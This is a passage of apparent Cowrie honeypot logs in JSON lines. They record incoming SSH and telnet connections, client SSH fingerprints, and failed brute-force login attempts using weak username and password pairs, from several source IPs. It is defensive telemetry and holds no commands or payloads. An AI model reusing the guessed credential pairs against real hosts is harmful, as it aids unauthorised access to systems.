ha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:08:56.082255Z","src_ip":"159.203.92.129","session":"d0d03aeace91","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"akira","password":"123456","message":"login attempt [akira/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:08:56.093271Z","src_ip":"159.203.92.129","session":"d0d03aeace91","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.434115409851074,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:08:56.370122Z","src_ip":"5.61.90.139","session":"483c5c4c66d5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:08:57.100224Z","src_ip":"159.203.92.129","session":"d0d03aeace91","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.6701762676239,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:08:58.489957Z","src_ip":"5.61.90.139","session":"0ab3f2908d75","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.6233766078949,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:08:58.702385Z","src_ip":"5.61.90.139","session":"0ad231287fb7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.95326495170593,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:08:59.372807Z","src_ip":"5.61.90.139","session":"11e052a3464b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.61.90.139","src_port":33680,"dst_ip":"10.17.0.5","dst_port":23,"session":"33ddde153a0e","protocol":"telnet","message":"New connection: 5.61.90.139:33680 (10.17.0.5:23) [session: 33ddde153a0e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:09:07.148936Z"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.236.1","src_port":59044,"dst_ip":"159.203.135.109","dst_port":22,"session":"499366afc431","protocol":"ssh","message":"New connection: 68.183.236.1:59044 (159.203.135.109:22) [session: 499366afc431]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:09:15.760393Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:09:15.766942Z","src_ip":"68.183.236.1","session":"499366afc431","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:09:16.005509Z","src_ip":"68.183.236.1","session":"499366afc431","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"123456a","message":"login attempt [ubuntu/123456a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:09:16.990116Z","src_ip":"68.183.236.1","session":"499366afc431","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:09:18.231228Z","src_ip":"68.183.236.1","session":"499366afc431","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.134.240.52","src_port":33346,"dst_ip":"159.203.135.109","dst_port":22,"session":"05e8294bc188","protocol":"ssh","message":"New connection: 91.134.240.52:33346 (159.203.135.109:22) [session: 05e8294bc188]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:09:22.315568Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:09:22.320571Z","src_ip":"91.134.240.52","session":"05e8294bc188","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:09:22.418311Z","src_ip":"91.134.240.52","session":"05e8294bc188","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"q1w2e3r4t5y6","message":"login attempt [admin/q1w2e3r4t5y6] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:09:22.773449Z","src_ip":"91.134.240.52","session":"05e8294bc188","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:09:23.863607Z","src_ip":"91.134.240.52","session":"05e8294bc188","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":53962,"dst_ip":"159.203.135.109","dst_port":23,"session":"2b564d85caea","protocol":"telnet","message":"New connection: 69.6.225.50:53962 (159.203.135.109:23) [session: 2b564d85caea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:09:34.420324Z"}
{"eventid":"cowrie.session.connect","src_ip":"191.240.27.228","src_port":47490,"dst_ip":"10.17.0.5","dst_port":23,"session":"84fcde3c2c6b","protocol":"telnet","message":"New connection: 191.240.27.228:47490 (10.17.0.5:23) [session: 84fcde3c2c6b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:09:37.155887Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":53978,"dst_ip":"159.203.135.109","dst_port":23,"session":"210a55cdbf0a","protocol":"telnet","message":"New connection: 69.6.225.50:53978 (159.203.135.109:23) [session: 210a55cdbf0a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:09:37.191840Z"}
{"eventid":"cowrie.session.connect","src_ip":"191.240.27.228","src_port":47626,"dst_ip":"10.17.0.5","dst_port":23,"session":"6137b253520c","protocol":"telnet","message":"New connection: 191.240.27.228:47626 (10.17.0.5:23) [session: 6137b253520c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:09:39.033056Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":57984,"dst_ip":"159.203.135.109","dst_port":22,"session":"ac51a35ad571","protocol":"ssh","message":"New connection: 159.203.92.129:57984 (159.203.135.109:22) [session: ac51a35ad571]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:09:39.056099Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:09:39.061339Z","src_ip":"159.203.92.129","session":"ac51a35ad571","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:09:39.066384Z","src_ip":"159.203.92.129","session":"ac51a35ad571","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"akira","password":"123654","message":"login attempt [akira/123654] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:09:39.082811Z","src_ip":"159.203.92.129","session":"ac51a35ad571","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:09:40.102215Z","src_ip":"159.203.92.129","session":"ac51a35ad571","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"191.240.27.228","src_port":47716,"dst_ip":"10.17.0.5","dst_port":23,"session":"bd6b52947496","protocol":"telnet","message":"New connection: 191.240.27.228:47716 (10.17.0.5:23) [session: bd6b52947496]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:09:41.492992Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":52128,"dst_ip":"159.203.135.109","dst_port":23,"session":"090c2135cb4c","protocol":"telnet","message":"New connection: 69.6.225.50:52128 (159.203.135.109:23) [session: 090c2135cb4c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:09:44.752323Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":49410,"dst_ip":"159.203.135.109","dst_port":23,"session":"96fc11d53769","protocol":"telnet","message":"New connection: 69.6.225.50:49410 (159.203.135.109:23) [session: 96fc11d53769]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:09:48.563243Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":49418,"dst_ip":"159.203.135.109","dst_port":23,"session":"ab58b31a2f2e","protocol":"telnet","message":"New connection: 69.6.225.50:49418 (159.203.135.109:23) [session: ab58b31a2f2e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:09:49.896381Z"}
{"eventid":"cowrie.session.closed","duration":44.169593811035156,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:09:51.318400Z","src_ip":"5.61.90.139","session":"33ddde153a0e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":49426,"dst_ip":"159.203.135.109","dst_port":23,"session":"499facec574d","protocol":"telnet","message":"New connection: 69.6.225.50:49426 (159.203.135.109:23) [session: 499facec574d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:09:51.492563Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":49438,"dst_ip":"159.203.135.109","dst_port":23,"session":"726d6a8c1a92","protocol":"telnet","message":"New connection: 69.6.225.50:49438 (159.203.135.109:23) [session: 726d6a8c1a92]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:09:53.171402Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":49444,"dst_ip":"159.203.135.109","dst_port":23,"session":"26367df32010","protocol":"telnet","message":"New connection: 69.6.225.50:49444 (159.203.135.109:23) [session: 26367df32010]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:09:55.358392Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":37154,"dst_ip":"159.203.135.109","dst_port":23,"session":"da320ea194c4","protocol":"telnet","message":"New connection: 69.6.225.50:37154 (159.203.135.109:23) [session: da320ea194c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:10:03.341199Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.61.90.139","src_port":34086,"dst_ip":"10.17.0.5","dst_port":23,"session":"2323ff3a1ced","protocol":"telnet","message":"New connection: 5.61.90.139:34086 (10.17.0.5:23) [session: 2323ff3a1ced]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:10:05.276111Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":37166,"dst_ip":"159.203.135.109","dst_port":23,"session":"a465d78e27ae","protocol":"telnet","message":"New connection: 69.6.225.50:37166 (159.203.135.109:23) [session: a465d78e27ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:10:05.575218Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.61.90.139","src_port":34092,"dst_ip":"10.17.0.5","dst_port":23,"session":"17f82e98b0a5","protocol":"telnet","message":"New connection: 5.61.90.139:34092 (10.17.0.5:23) [session: 17f82e98b0a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:10:05.643052Z"}
{"eventid":"cowrie.session.closed","duration":31.228660106658936,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:10:05.648875Z","src_ip":"69.6.225.50","session":"2b564d85caea","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.942739725112915,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:10:08.134472Z","src_ip":"69.6.225.50","session":"210a55cdbf0a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.236.1","src_port":55818,"dst_ip":"159.203.135.109","dst_port":22,"session":"fb997662b602","protocol":"ssh","message":"New connection: 68.183.236.1:55818 (159.203.135.109:22) [session: fb997662b602]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:10:13.948366Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:10:13.954744Z","src_ip":"68.183.236.1","session":"fb997662b602","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:10:14.193898Z","src_ip":"68.183.236.1","session":"fb997662b602","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.313884019851685,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:10:15.066045Z","src_ip":"69.6.225.50","session":"090c2135cb4c","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"admin12345","message":"login attempt [ubuntu/admin12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:10:15.182137Z","src_ip":"68.183.236.1","session":"fb997662b602","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:10:16.431326Z","src_ip":"68.183.236.1","session":"fb997662b602","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.516727924346924,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:10:19.079831Z","src_ip":"69.6.225.50","session":"96fc11d53769","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.43662977218628,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:10:21.332898Z","src_ip":"69.6.225.50","session":"ab58b31a2f2e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.574864864349365,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:10:22.067310Z","src_ip":"69.6.225.50","session":"499facec574d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.89065980911255,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:10:24.061932Z","src_ip":"69.6.225.50","session":"726d6a8c1a92","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":40532,"dst_ip":"159.203.135.109","dst_port":22,"session":"d594bc99bb1e","protocol":"ssh","message":"New connection: 159.203.92.129:40532 (159.203.135.109:22) [session: d594bc99bb1e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:10:24.628404Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:10:24.638773Z","src_ip":"159.203.92.129","session":"d594bc99bb1e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:10:24.644788Z","src_ip":"159.203.92.129","session":"d594bc99bb1e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"akira","password":"akira","message":"login attempt [akira/akira] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:10:24.659476Z","src_ip":"159.203.92.129","session":"d594bc99bb1e","protocol":"ssh"}
